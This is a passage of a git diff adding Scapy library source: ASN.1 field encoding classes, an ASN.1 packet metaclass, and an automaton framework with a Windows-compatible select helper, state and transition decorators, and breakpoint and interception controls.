+        tag,_ = BER_id_dec(s)
+        if tag not in self.choices:
+            if self.flexible_tag:
+                choice = ASN1F_field
+            else:
+                raise ASN1_Error("ASN1F_CHOICE: unexpected field")
+        else:
+            choice = self.choices[tag]
+        if hasattr(choice, "ASN1_root"):
+            # we don't want to import ASN1_Packet in this module...
+            return self.extract_packet(choice, s)
+        elif isinstance(choice, type):
+            #XXX find a way not to instantiate the ASN1F_field
+            return choice(self.name, b"").m2i(pkt, s)
+        else:
+            #XXX check properly if this is an ASN1F_PACKET
+            return choice.m2i(pkt, s)
+    def i2m(self, pkt, x):
+        if x is None:
+            s = b""
+        else:
+            s = raw(x)
+            if hash(type(x)) in self.pktchoices:
+                imp, exp = self.pktchoices[hash(type(x))]
+                s = BER_tagging_enc(s, implicit_tag=imp,
+                                    explicit_tag=exp)
+        return BER_tagging_enc(s, explicit_tag=self.explicit_tag)
+    def randval(self):
+        randchoices = []
+        for p in six.itervalues(self.choices):
+            if hasattr(p, "ASN1_root"):   # should be ASN1_Packet class
+                randchoices.append(packet.fuzz(p()))
+            elif hasattr(p, "ASN1_tag"):
+                if isinstance(p, type):       # should be (basic) ASN1F_field class
+                    randchoices.append(p("dummy", None).randval())
+                else:                     # should be ASN1F_PACKET instance
+                    randchoices.append(p.randval())
+        return RandChoice(*randchoices)
+
+class ASN1F_PACKET(ASN1F_field):
+    holds_packets = 1
+    def __init__(self, name, default, cls, context=None,
+                 implicit_tag=None, explicit_tag=None):
+        self.cls = cls
+        ASN1F_field.__init__(self, name, None, context=context,
+                        implicit_tag=implicit_tag, explicit_tag=explicit_tag)
+        if cls.ASN1_root.ASN1_tag == ASN1_Class_UNIVERSAL.SEQUENCE:
+            if implicit_tag is None and explicit_tag is None:
+                self.network_tag = 16|0x20
+        self.default = default
+    def m2i(self, pkt, s):
+        diff_tag, s = BER_tagging_dec(s, hidden_tag=self.cls.ASN1_root.ASN1_tag,
+                                      implicit_tag=self.implicit_tag,
+                                      explicit_tag=self.explicit_tag,
+                                      safe=self.flexible_tag)
+        if diff_tag is not None:
+            if self.implicit_tag is not None:
+                self.implicit_tag = diff_tag
+            elif self.explicit_tag is not None:
+                self.explicit_tag = diff_tag
+        p,s = self.extract_packet(self.cls, s)
+        return p,s
+    def i2m(self, pkt, x):
+        if x is None:
+            s = b""
+        else:
+            s = raw(x)
+        return BER_tagging_enc(s, implicit_tag=self.implicit_tag,
+                               explicit_tag=self.explicit_tag)
+    def randval(self):
+        return packet.fuzz(self.cls())
+
+class ASN1F_BIT_STRING_ENCAPS(ASN1F_BIT_STRING):
+    """
+    We may emulate simple string encapsulation with explicit_tag=0x04,
+    but we need a specific class for bit strings because of unused bits, etc.
+    """
+    holds_packets = 1
+    def __init__(self, name, default, cls, context=None,
+                 implicit_tag=None, explicit_tag=None):
+        self.cls = cls
+        ASN1F_BIT_STRING.__init__(self, name, None, context=context,
+                                  implicit_tag=implicit_tag,
+                                  explicit_tag=explicit_tag)
+        self.default = default
+    def m2i(self, pkt, s):
+        bit_string, remain = ASN1F_BIT_STRING.m2i(self, pkt, s)
+        if len(bit_string.val) % 8 != 0:
+            raise BER_Decoding_Error("wrong bit string", remaining=s)
+        p,s = self.extract_packet(self.cls, bit_string.val_readable)
+        if len(s) > 0:
+            raise BER_Decoding_Error("unexpected remainder", remaining=s)
+        return p, remain
+    def i2m(self, pkt, x):
+        if x is None:
+            s = b""
+        else:
+            s = raw(x)
+        s = b"".join(binrepr(orb(x)).zfill(8).encode("utf8") for x in s)
+        return ASN1F_BIT_STRING.i2m(self, pkt, s)
+
+class ASN1F_FLAGS(ASN1F_BIT_STRING):
+    def __init__(self, name, default, mapping, context=None,
+                 implicit_tag=None, explicit_tag=None):
+        self.mapping = mapping
+        ASN1F_BIT_STRING.__init__(self, name, default,
+                                  default_readable=False,
+                                  context=context,
+                                  implicit_tag=implicit_tag,
+                                  explicit_tag=explicit_tag)
+    def get_flags(self, pkt):
+        fbytes = getattr(pkt, self.name).val
+        flags = []
+        for i, positional in enumerate(fbytes):
+            if positional == '1' and i < len(self.mapping):
+                flags.append(self.mapping[i])
+        return flags
+    def i2repr(self, pkt, x):
+        if x is not None:
+            pretty_s = ", ".join(self.get_flags(pkt))
+            return pretty_s + " " + repr(x)
+        return repr(x)
diff --git a/scapy/asn1packet.py b/scapy/asn1packet.py
new file mode 100644
index 0000000..d0948d9
--- /dev/null
+++ b/scapy/asn1packet.py
@@ -0,0 +1,31 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Packet holding data in Abstract Syntax Notation (ASN.1).
+"""
+
+from __future__ import absolute_import
+from scapy.base_classes import Packet_metaclass
+from scapy.packet import Packet
+import scapy.modules.six as six
+
+class ASN1Packet_metaclass(Packet_metaclass):
+    def __new__(cls, name, bases, dct):
+        if dct["ASN1_root"] is not None:
+            dct["fields_desc"] = dct["ASN1_root"].get_fields_list()
+        return super(ASN1Packet_metaclass, cls).__new__(cls, name, bases, dct)
+
+class ASN1_Packet(six.with_metaclass(ASN1Packet_metaclass, Packet)):
+    ASN1_root = None
+    ASN1_codec = None    
+    def self_build(self):
+        if self.raw_packet_cache is not None:
+            return self.raw_packet_cache
+        return self.ASN1_root.build(self)    
+    def do_dissect(self, x):
+        return self.ASN1_root.dissect(self, x)
+        
+
diff --git a/scapy/automaton.py b/scapy/automaton.py
new file mode 100644
index 0000000..2da6d00
--- /dev/null
+++ b/scapy/automaton.py
@@ -0,0 +1,937 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Copyright (C) Gabriel Potter <gabriel@potter.fr>
+## This program is published under a GPLv2 license
+
+"""
+Automata with states, transitions and actions.
+"""
+
+from __future__ import absolute_import
+import types,itertools,time,os,sys,socket,traceback
+from select import select
+from collections import deque
+import threading
+from scapy.config import conf
+from scapy.utils import do_graph
+from scapy.error import log_interactive
+from scapy.plist import PacketList
+from scapy.data import MTU
+from scapy.supersocket import SuperSocket
+from scapy.consts import WINDOWS
+from scapy.compat import *
+import scapy.modules.six as six
+
+try:
+    import thread
+except ImportError:
+    THREAD_EXCEPTION = RuntimeError
+else:
+    THREAD_EXCEPTION = thread.error
+
+if WINDOWS:
+    from scapy.error import Scapy_Exception
+    recv_error = Scapy_Exception
+else:
+    recv_error = ()
+
+""" In Windows, select.select is not available for custom objects. Here's the implementation of scapy to re-create this functionnality
+# Passive way: using no-ressources locks
+               +---------+             +---------------+      +-------------------------+
+               |  Start  +------------->Select_objects +----->+Linux: call select.select|
+               +---------+             |(select.select)|      +-------------------------+
+                                       +-------+-------+
+                                               |
+                                          +----v----+               +--------+
+                                          | Windows |               |Time Out+----------------------------------+
+                                          +----+----+               +----+---+                                  |
+                                               |                         ^                                      |
+      Event                                    |                         |                                      |
+        +                                      |                         |                                      |
+        |                              +-------v-------+                 |                                      |
+        |                       +------+Selectable Sel.+-----+-----------------+-----------+                    |
+        |                       |      +-------+-------+     |           |     |           v              +-----v-----+
++-------v----------+            |              |             |           |     |        Passive lock<-----+release_all<------+
+|Data added to list|       +----v-----+  +-----v-----+  +----v-----+     v     v            +             +-----------+      |
++--------+---------+       |Selectable|  |Selectable |  |Selectable|   ............         |                                |
+         |                 +----+-----+  +-----------+  +----------+                        |                                |
+         |                      v                                                           |                                |
+         v                 +----+------+   +------------------+               +-------------v-------------------+            |
+   +-----+------+          |wait_return+-->+  check_recv:     |               |                                 |            |
+   |call_release|          +----+------+   |If data is in list|               |  END state: selectable returned |        +---+--------+
+   +-----+--------              v          +-------+----------+               |                                 |        | exit door  |
+         |                    else                 |                          +---------------------------------+        +---+--------+
+         |                      +                  |                                                                         |
+         |                 +----v-------+          |                                                                         |
+         +--------->free -->Passive lock|          |                                                                         |
+                           +----+-------+          |                                                                         |
+                                |                  |                                                                         |
+                                |                  v                                                                         |
+                                +------------------Selectable-Selector-is-advertised-that-the-selectable-is-readable---------+
+"""
+
+class SelectableObject:
+    """DEV: to implement one of those, you need to add 2 things to your object:
+    - add "check_recv" function
+    - call "self.call_release" once you are ready to be read
+
+    You can set the __selectable_force_select__ to True in the class, if you want to
+    force the handler to use fileno(). This may only be useable on sockets created using
+    the builtin socket API."""
+    __selectable_force_select__ = False
+    def check_recv(self):
+        """DEV: will be called only once (at beginning) to check if the object is ready."""
+        raise OSError("This method must be overwriten.")
+
+    def _wait_non_ressources(self, callback):
+        """This get started as a thread, and waits for the data lock to be freed then advertise itself to the SelectableSelector using the callback"""
+        self.trigger = threading.Lock()
+        self.was_ended = False
+        self.trigger.acquire()
+        self.trigger.acquire()
+        if not self.was_ended:
+            callback(self)
+
+    def wait_return(self, callback):
+        """Entry point of SelectableObject: register the callback"""
+        if self.check_recv():
+            return callback(self)
+        _t = threading.Thread(target=self._wait_non_ressources, args=(callback,))
+        _t.setDaemon(True)
+        _t.start()
+        
+    def call_release(self, arborted=False):
+        """DEV: Must be call when the object becomes ready to read.
+           Relesases the lock of _wait_non_ressources"""
+        self.was_ended = arborted
+        try:
+            self.trigger.release()
+        except (THREAD_EXCEPTION, AttributeError):
+            pass
+
+class SelectableSelector(object):
+    """
+    Select SelectableObject objects.
+    
+    inputs: objects to process
+    remain: timeout. If 0, return [].
+    customTypes: types of the objects that have the check_recv function.
+    """
+    def _release_all(self):
+        """Releases all locks to kill all threads"""
+        for i in self.inputs:
+            i.call_release(True)
+        self.available_lock.release()
+
+    def _timeout_thread(self, remain):
+        """Timeout before releasing every thing, if nothing was returned"""
+        time.sleep(remain)
+        if not self._ended:
+            self._ended = True
+            self._release_all()
+
+    def _exit_door(self, _input):
+        """This function is passed to each SelectableObject as a callback
+        The SelectableObjects have to call it once there are ready"""
+        self.results.append(_input)
+        if self._ended:
+            return
+        self._ended = True
+        self._release_all()
+    
+    def __init__(self, inputs, remain):
+        self.results = []
+        self.inputs = list(inputs)
+        self.remain = remain
+        self.available_lock = threading.Lock()
+        self.available_lock.acquire()
+        self._ended = False
+
+    def process(self):
+        """Entry point of SelectableSelector"""
+        if WINDOWS:
+            select_inputs = []
+            for i in self.inputs:
+                if not isinstance(i, SelectableObject):
+                    warning("Unknown ignored object type: %s", type(i))
+                elif i.__selectable_force_select__:
+                    # Then use select.select
+                    select_inputs.append(i)
+                elif not self.remain and i.check_recv():
+                    self.results.append(i)
+                else:
+                    i.wait_return(self._exit_door)
+            if select_inputs:
+                # Use default select function
+                self.results.extend(select(select_inputs, [], [], self.remain)[0])
+            if not self.remain:
+                return self.results
+
+            threading.Thread(target=self._timeout_thread, args=(self.remain,)).start()
+            if not self._ended:
+                self.available_lock.acquire()
+            return self.results
+        else:
+            r,_,_ = select(self.inputs,[],[],self.remain)
+            return r
+
+def select_objects(inputs, remain):
+    """
+    Select SelectableObject objects. Same than:
+        select.select([inputs], [], [], remain)
+    But also works on Windows, only on SelectableObject.
+    
+    inputs: objects to process
+    remain: timeout. If 0, return [].
+    """
+    handler = SelectableSelector(inputs, remain)
+    return handler.process()
+
+class ObjectPipe(SelectableObject):
+    def __init__(self):
+        self.rd,self.wr = os.pipe()
+        self.queue = deque()
+    def fileno(self):
+        return self.rd
+    def check_recv(self):
+        return len(self.queue) > 0
+    def send(self, obj):
+        self.queue.append(obj)
+        os.write(self.wr,b"X")
+        self.call_release()
+    def write(self, obj):
+        self.send(obj)
+    def recv(self, n=0):
+        os.read(self.rd, 1)
+        return self.queue.popleft()
+    def read(self, n=0):
+        return self.recv(n)
+
+class Message:
+    def __init__(self, **args):
+        self.__dict__.update(args)
+    def __repr__(self):
+        return "<Message %s>" % " ".join("%s=%r"%(k,v)
+                                         for (k,v) in six.iteritems(self.__dict__)
+                                         if not k.startswith("_"))
+
+class _instance_state:
+    def __init__(self, instance):
+        self.__self__ = instance.__self__
+        self.__func__ = instance.__func__
+        self.__self__.__class__ = instance.__self__.__class__
+    def __getattr__(self, attr):
+        return getattr(self.__func__, attr)
+    def __call__(self, *args, **kargs):
+        return self.__func__(self.__self__, *args, **kargs)
+    def breaks(self):
+        return self.__self__.add_breakpoints(self.__func__)
+    def intercepts(self):
+        return self.__self__.add_interception_points(self.__func__)
+    def unbreaks(self):
+        return self.__self__.remove_breakpoints(self.__func__)
+    def unintercepts(self):
+        return self.__self__.remove_interception_points(self.__func__)
+        
+
+##############
+## Automata ##
+##############
+
+class ATMT:
+    STATE = "State"
+    ACTION = "Action"
+    CONDITION = "Condition"
+    RECV = "Receive condition"
+    TIMEOUT = "Timeout condition"
+    IOEVENT = "I/O event"
+
+    class NewStateRequested(Exception):
+        def __init__(self, state_func, automaton, *args, **kargs):
+            self.func = state_func
+            self.state = state_func.atmt_state
+            self.initial = state_func.atmt_initial
+            self.error = state_func.atmt_error
+            self.final = state_func.atmt_final
+            Exception.__init__(self, "Request state [%s]" % self.state)
+            self.automaton = automaton
+            self.args = args
+            self.kargs = kargs
+            self.action_parameters() # init action parameters
+        def action_parameters(self, *args, **kargs):
+            self.action_args = args
+            self.action_kargs = kargs
+            return self
+        def run(self):
+            return self.func(self.automaton, *self.args, **self.kargs)
+        def __repr__(self):
+            return "NewStateRequested(%s)" % self.state
+
+    @staticmethod
+    def state(initial=0,final=0,error=0):
+        def deco(f,initial=initial, final=final):
+            f.atmt_type = ATMT.STATE
+            f.atmt_state = f.__name__
+            f.atmt_initial = initial
+            f.atmt_final = final
+            f.atmt_error = error
+            def state_wrapper(self, *args, **kargs):
+                return ATMT.NewStateRequested(f, self, *args, **kargs)
+
+            state_wrapper.__name__ = "%s_wrapper" % f.__name__
+            state_wrapper.atmt_type = ATMT.STATE
+            state_wrapper.atmt_state = f.__name__
+            state_wrapper.atmt_initial = initial
+            state_wrapper.atmt_final = final
+            state_wrapper.atmt_error = error
+            state_wrapper.atmt_origfunc = f
+            return state_wrapper
+        return deco
+    @staticmethod
+    def action(cond, prio=0):
+        def deco(f,cond=cond):
+            if not hasattr(f,"atmt_type"):
+                f.atmt_cond = {}
+            f.atmt_type = ATMT.ACTION
+            f.atmt_cond[cond.atmt_condname] = prio
+            return f
+        return deco
+    @staticmethod
+    def condition(state, prio=0):
+        def deco(f, state=state):
+            f.atmt_type = ATMT.CONDITION
+            f.atmt_state = state.atmt_state
+            f.atmt_condname = f.__name__
+            f.atmt_prio = prio
+            return f
+        return deco
+    @staticmethod
+    def receive_condition(state, prio=0):
+        def deco(f, state=state):
+            f.atmt_type = ATMT.RECV
+            f.atmt_state = state.atmt_state
+            f.atmt_condname = f.__name__
+            f.atmt_prio = prio
+            return f
+        return deco
+    @staticmethod
+    def ioevent(state, name, prio=0, as_supersocket=None):
+        def deco(f, state=state):
+            f.atmt_type = ATMT.IOEVENT
+            f.atmt_state = state.atmt_state
+            f.atmt_condname = f.__name__
+            f.atmt_ioname = name
+            f.atmt_prio = prio
+            f.atmt_as_supersocket = as_supersocket
+            return f
+        return deco
+    @staticmethod
+    def timeout(state, timeout):
+        def deco(f, state=state, timeout=timeout):
+            f.atmt_type = ATMT.TIMEOUT
+            f.atmt_state = state.atmt_state
+            f.atmt_timeout = timeout
+            f.atmt_condname = f.__name__
+            return f
+        return deco
+
+class _ATMT_Command:
+    RUN = "RUN"
+    NEXT = "NEXT"
+    FREEZE = "FREEZE"
+    STOP = "STOP"
+    END = "END"
+    EXCEPTION = "EXCEPTION"
+    SINGLESTEP = "SINGLESTEP"
+    BREAKPOINT = "BREAKPOINT"
+    INTERCEPT = "INTERCEPT"
+    ACCEPT = "ACCEPT"
+    REPLACE = "REPLACE"
+    REJECT = "REJECT"
+
+class _ATMT_supersocket(SuperSocket):
+    def __init__(self, name, ioevent, automaton, proto, args, kargs):
+        self.name = name
+        self.ioevent = ioevent
+        self.proto = proto
+        self.spa,self.spb = socket.socketpair(socket.AF_UNIX, socket.SOCK_DGRAM)
+        kargs["external_fd"] = {ioevent:self.spb}
+        self.atmt = automaton(*args, **kargs)
+        self.atmt.runbg()
+    def fileno(self):
+        return self.spa.fileno()
+    def send(self, s):
+        if not isinstance(s, bytes):
+            s = bytes(s)
+        return self.spa.send(s)
+    def recv(self, n=MTU):
+        try:
+            r = self.spa.recv(n)
+        except recv_error:
+            if not WINDOWS:
+                raise
+            return None
+        if self.proto is not None:
+            r = self.proto(r)
+        return r
+    def close(self):
+        pass
+
+class _ATMT_to_supersocket:
+    def __init__(self, name, ioevent, automaton):
+        self.name = name
+        self.ioevent = ioevent
+        self.automaton = automaton
+    def __call__(self, proto, *args, **kargs):
+        return _ATMT_supersocket(self.name, self.ioevent, self.automaton, proto, args, kargs)
+
+class Automaton_metaclass(type):
+    def __new__(cls, name, bases, dct):
+        cls = super(Automaton_metaclass, cls).__new__(cls, name, bases, dct)
+        cls.states={}
+        cls.state = None
+        cls.recv_conditions={}
+        cls.conditions={}
+        cls.ioevents={}
+        cls.timeout={}
+        cls.actions={}
+        cls.initial_states=[]
+        cls.ionames = []
+        cls.iosupersockets = []
+
+        members = {}
+        classes = [cls]
+        while classes:
+            c = classes.pop(0) # order is important to avoid breaking method overloading
+            classes += list(c.__bases__)
+            for k,v in six.iteritems(c.__dict__):
+                if k not in members:
+                    members[k] = v
+
+        decorated = [v for v in six.itervalues(members)
+                     if isinstance(v, types.FunctionType) and hasattr(v, "atmt_type")]
+        
+        for m in decorated:
+            if m.atmt_type == ATMT.STATE:
+                s = m.atmt_state
+                cls.states[s] = m
+                cls.recv_conditions[s]=[]
+                cls.ioevents[s]=[]
+                cls.conditions[s]=[]
+                cls.timeout[s]=[]
+                if m.atmt_initial:
+                    cls.initial_states.append(m)
+            elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT]:
+                cls.actions[m.atmt_condname] = []
+    
+        for m in decorated:
+            if m.atmt_type == ATMT.CONDITION:
+                cls.conditions[m.atmt_state].append(m)
+            elif m.atmt_type == ATMT.RECV:
+                cls.recv_conditions[m.atmt_state].append(m)
+            elif m.atmt_type == ATMT.IOEVENT:
+                cls.ioevents[m.atmt_state].append(m)
+                cls.ionames.append(m.atmt_ioname)
+                if m.atmt_as_supersocket is not None:
+                    cls.iosupersockets.append(m)
+            elif m.atmt_type == ATMT.TIMEOUT:
+                cls.timeout[m.atmt_state].append((m.atmt_timeout, m))
+            elif m.atmt_type == ATMT.ACTION:
+                for c in m.atmt_cond:
+                    cls.actions[c].append(m)
+            
+
+        for v in six.itervalues(cls.timeout):
+            v.sort(key=cmp_to_key(lambda t1_f1,t2_f2: cmp(t1_f1[0],t2_f2[0])))
+            v.append((None, None))
+        for v in itertools.chain(six.itervalues(cls.conditions),
+                                 six.itervalues(cls.recv_conditions),
+                                 six.itervalues(cls.ioevents)):
+            v.sort(key=cmp_to_key(lambda c1,c2: cmp(c1.atmt_prio,c2.atmt_prio)))
+        for condname,actlst in six.iteritems(cls.actions):
+            actlst.sort(key=cmp_to_key(lambda c1,c2: cmp(c1.atmt_cond[condname], c2.atmt_cond[condname])))
+
+        for ioev in cls.iosupersockets:
+            setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket(ioev.atmt_as_supersocket, ioev.atmt_ioname, cls))
+
+        return cls
+
+    def graph(self, **kargs):
+        s = 'digraph "%s" {\n'  % self.__class__.__name__
+        
+        se = "" # Keep initial nodes at the begining for better rendering
+        for st in six.itervalues(self.states):
+            if st.atmt_initial:
+                se = ('\t"%s" [ style=filled, fillcolor=blue, shape=box, root=true];\n' % st.atmt_state)+se
+            elif st.atmt_final:
+                se += '\t"%s" [ style=filled, fillcolor=green, shape=octagon ];\n' % st.atmt_state
+            elif st.atmt_error:
+                se += '\t"%s" [ style=filled, fillcolor=red, shape=octagon ];\n' % st.atmt_state
+        s += se
+
+        for st in six.itervalues(self.states):
+            for n in st.atmt_origfunc.__code__.co_names+st.atmt_origfunc.__code__.co_consts:
+                if n in self.states:
+                    s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state,n)
+            
+
+        for c,k,v in ([("purple",k,v) for k,v in self.conditions.items()]+
+                      [("red",k,v) for k,v in self.recv_conditions.items()]+
+                      [("orange",k,v) for k,v in self.ioevents.items()]):
+            for f in v:
+                for n in f.__code__.co_names+f.__code__.co_consts:
+                    if n in self.states:
+                        l = f.atmt_condname
+                        for x in self.actions[f.atmt_condname]:
+                            l += "\\l>[%s]" % x.__name__
+                        s += '\t"%s" -> "%s" [label="%s", color=%s];\n' % (k,n,l,c)
+        for k,v in six.iteritems(self.timeout):
+            for t,f in v:
+                if f is None:
+                    continue
+                for n in f.__code__.co_names+f.__code__.co_consts:
+                    if n in self.states:
+                        l = "%s/%.1fs" % (f.atmt_condname,t)                        
+                        for x in self.actions[f.atmt_condname]:
+                            l += "\\l>[%s]" % x.__name__
+                        s += '\t"%s" -> "%s" [label="%s",color=blue];\n' % (k,n,l)
+        s += "}\n"
+        return do_graph(s, **kargs)
+
+class Automaton(six.with_metaclass(Automaton_metaclass)):
+    def parse_args(self, debug=0, store=1, **kargs):
+        self.debug_level=debug
+        self.socket_kargs = kargs
+        self.store_packets = store        
+
+    def master_filter(self, pkt):
+        return True
+
+    def my_send(self, pkt):
+        self.send_sock.send(pkt)
+
+
+    ## Utility classes and exceptions
+    class _IO_fdwrapper(SelectableObject):
+        def __init__(self,rd,wr):
+            if WINDOWS:
+                # rd will be used for reading and sending
+                if isinstance(rd, ObjectPipe):
+                    self.rd = rd
+                else:
+                    raise OSError("On windows, only instances of ObjectPipe are externally available")
+            else:
+                if rd is not None and not isinstance(rd, int):
+                    rd = rd.fileno()
+                if wr is not None and not isinstance(wr, int):
+                    wr = wr.fileno()
+                self.rd = rd
+                self.wr = wr
+        def fileno(self):
+            return self.rd
+        def check_recv(self):
+            return self.rd.check_recv()
+        def read(self, n=65535):
+            if WINDOWS:
+                return self.rd.recv(n)
+            return os.read(self.rd, n)
+        def write(self, msg):
+            if WINDOWS:
+                self.rd.send(msg)
+                return self.call_release()
+            return os.write(self.wr,msg)
+        def recv(self, n=65535):
+            return self.read(n)        
+        def send(self, msg):
+            return self.write(msg)
+
+    class _IO_mixer(SelectableObject):
+        def __init__(self,rd,wr):
+            self.rd = rd
+            self.wr = wr
+        def fileno(self):
+            if isinstance(self.rd, int):
+                return self.rd
+            return self.rd.fileno()
+        def check_recv(self):
+            return self.rd.check_recv()
+        def recv(self, n=None):
+            return self.rd.recv(n)
+        def read(self, n=None):
+            return self.recv(n)
+        def send(self, msg):
+            self.wr.send(msg)
+            return self.call_release()
+        def write(self, msg):
+            return self.send(msg)
+
+
+    class AutomatonException(Exception):
+        def __init__(self, msg, state=None, result=None):
+            Exception.__init__(self, msg)
+            self.state = state
+            self.result = result
+
+    class AutomatonError(AutomatonException):
+        pass
+    class ErrorState(AutomatonException):
+        pass
+    class Stuck(AutomatonException):
+        pass
+    class AutomatonStopped(AutomatonException):
+        pass
+    
+    class Breakpoint(AutomatonStopped):
+        pass
+    class Singlestep(AutomatonStopped):
+        pass
+    class InterceptionPoint(AutomatonStopped):
+        def __init__(self, msg, state=None, result=None, packet=None):
+            Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result)
+            self.packet = packet
+
+    class CommandMessage(AutomatonException):
+        pass
+
+
+    ## Services
+    def debug(self, lvl, msg):
+        if self.debug_level >= lvl:
+            log_interactive.debug(msg)            
+
+    def send(self, pkt):
+        if self.state.state in self.interception_points:
+            self.debug(3,"INTERCEPT: packet intercepted: %s" % pkt.summary())
+            self.intercepted_packet = pkt
+            cmd = Message(type = _ATMT_Command.INTERCEPT, state=self.state, pkt=pkt)
+            self.cmdout.send(cmd)
+            cmd = self.cmdin.recv()
+            self.intercepted_packet = None
+            if cmd.type == _ATMT_Command.REJECT:
+                self.debug(3,"INTERCEPT: packet rejected")
+                return
+            elif cmd.type == _ATMT_Command.REPLACE:
+                pkt = cmd.pkt
+                self.debug(3,"INTERCEPT: packet replaced by: %s" % pkt.summary())
+            elif cmd.type == _ATMT_Command.ACCEPT:
+                self.debug(3,"INTERCEPT: packet accepted")
+            else:
+                raise self.AutomatonError("INTERCEPT: unkown verdict: %r" % cmd.type)
+        self.my_send(pkt)
+        self.debug(3,"SENT : %s" % pkt.summary())
+        
+        if self.store_packets:
+            self.packets.append(pkt.copy())
+
+
+    ## Internals
+    def __init__(self, *args, **kargs):
+        external_fd = kargs.pop("external_fd",{})
+        self.send_sock_class = kargs.pop("ll", conf.L3socket)
+        self.recv_sock_class = kargs.pop("recvsock", conf.L2listen)
+        self.started = threading.Lock()
+        self.threadid = None
+        self.breakpointed = None
+        self.breakpoints = set()
+        self.interception_points = set()
+        self.intercepted_packet = None
+        self.debug_level=0
+        self.init_args=args
+        self.init_kargs=kargs
+        self.io = type.__new__(type, "IOnamespace",(),{})
+        self.oi = type.__new__(type, "IOnamespace",(),{})
+        self.cmdin = ObjectPipe()
+        self.cmdout = ObjectPipe()
+        self.ioin = {}
+        self.ioout = {}
+        for n in self.ionames:
+            extfd = external_fd.get(n)
+            if not isinstance(extfd, tuple):
+                extfd = (extfd,extfd)
+            elif WINDOWS:
+                raise OSError("Tuples are not allowed as external_fd on windows")
+            ioin,ioout = extfd                
+            if ioin is None:
+                ioin = ObjectPipe()
+            elif not isinstance(ioin, SelectableObject):
+                ioin = self._IO_fdwrapper(ioin,None)
+            if ioout is None:
+                ioout = ioin if WINDOWS else ObjectPipe()
+            elif not isinstance(ioout, SelectableObject):
+                ioout = self._IO_fdwrapper(None,ioout)
+
+            self.ioin[n] = ioin
+            self.ioout[n] = ioout 
+            ioin.ioname = n
+            ioout.ioname = n
+            setattr(self.io, n, self._IO_mixer(ioout,ioin))
+            setattr(self.oi, n, self._IO_mixer(ioin,ioout))
+
+        for stname in self.states:
+            setattr(self, stname, 
+                    _instance_state(getattr(self, stname)))
+
+        self.start()
+
+    def __iter__(self):
+        return self        
+
+    def __del__(self):
+        self.stop()
+
+    def _run_condition(self, cond, *args, **kargs):
+        try:
+            self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname))
+            cond(self,*args, **kargs)
+        except ATMT.NewStateRequested as state_req:
+            self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state))
+            if cond.atmt_type == ATMT.RECV:
+                if self.store_packets:
+                    self.packets.append(args[0])
+            for action in self.actions[cond.atmt_condname]:
+                self.debug(2, "   + Running action [%s]" % action.__name__)
+                action(self, *state_req.action_args, **state_req.action_kargs)
+            raise
+        except Exception as e:
+            self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e))
+            raise
+        else:
+            self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname))
+
+    def _do_start(self, *args, **kargs):
+        ready = threading.Event()
+        _t = threading.Thread(target=self._do_control, args=(ready,) + (args), kwargs=kargs)
+        _t.setDaemon(True)
+        _t.start()
+        ready.wait()
+
+    def _do_control(self, ready, *args, **kargs):
+        with self.started:
+            self.threadid = threading.currentThread().ident
+
+            # Update default parameters
+            a = args+self.init_args[len(args):]
+            k = self.init_kargs.copy()
+            k.update(kargs)
+            self.parse_args(*a,**k)
+    
+            # Start the automaton
+            self.state=self.initial_states[0](self)
+            self.send_sock = self.send_sock_class(**self.socket_kargs)
+            self.listen_sock = self.recv_sock_class(**self.socket_kargs)
+            self.packets = PacketList(name="session[%s]"%self.__class__.__name__)
+
+            singlestep = True
+            iterator = self._do_iter()
+            self.debug(3, "Starting control thread [tid=%i]" % self.threadid)
+            # Sync threads
+            ready.set()
+            try:
+                while True:
+                    c = self.cmdin.recv()
+                    self.debug(5, "Received command %s" % c.type)
+                    if c.type == _ATMT_Command.RUN:
+                        singlestep = False
+                    elif c.type == _ATMT_Command.NEXT:
+                        singlestep = True
+                    elif c.type == _ATMT_Command.FREEZE:
+                        continue
+                    elif c.type == _ATMT_Command.STOP:
+                        break
+                    while True:
+                        state = next(iterator)
+                        if isinstance(state, self.CommandMessage):
+                            break
+                        elif isinstance(state, self.Breakpoint):
+                            c = Message(type=_ATMT_Command.BREAKPOINT,state=state)
+                            self.cmdout.send(c)
+                            break
+                        if singlestep:
+                            c = Message(type=_ATMT_Command.SINGLESTEP,state=state)
+                            self.cmdout.send(c)
+                            break
+            except StopIteration as e:
+                c = Message(type=_ATMT_Command.END, result=e.args[0])
+                self.cmdout.send(c)
+            except Exception as e:
+                exc_info = sys.exc_info()
+                self.debug(3, "Transfering exception from tid=%i:\n%s"% (self.threadid, traceback.format_exception(*exc_info)))
+                m = Message(type=_ATMT_Command.EXCEPTION, exception=e, exc_info=exc_info)
+                self.cmdout.send(m)        
+            self.debug(3, "Stopping control thread (tid=%i)"%self.threadid)
+            self.threadid = None
+    
+    def _do_iter(self):
+        while True:
+            try:
+                self.debug(1, "## state=[%s]" % self.state.state)
+    
+                # Entering a new state. First, call new state function
+                if self.state.state in self.breakpoints and self.state.state != self.breakpointed: 
+                    self.breakpointed = self.state.state
+                    yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state,
+                                          state = self.state.state)
+                self.breakpointed = None
+                state_output = self.state.run()
+                if self.state.error:
+                    raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), 
+                                          result=state_output, state=self.state.state)
+                if self.state.final:
+                    raise StopIteration(state_output)
+    
+                if state_output is None:
+                    state_output = ()
+                elif not isinstance(state_output, list):
+                    state_output = state_output,
+                
+                # Then check immediate conditions
+                for cond in self.conditions[self.state.state]:
+                    self._run_condition(cond, *state_output)
+    
+                # If still there and no conditions left, we are stuck!
+                if ( len(self.recv_conditions[self.state.state]) == 0 and
+                     len(self.ioevents[self.state.state]) == 0 and
+                     len(self.timeout[self.state.state]) == 1 ):
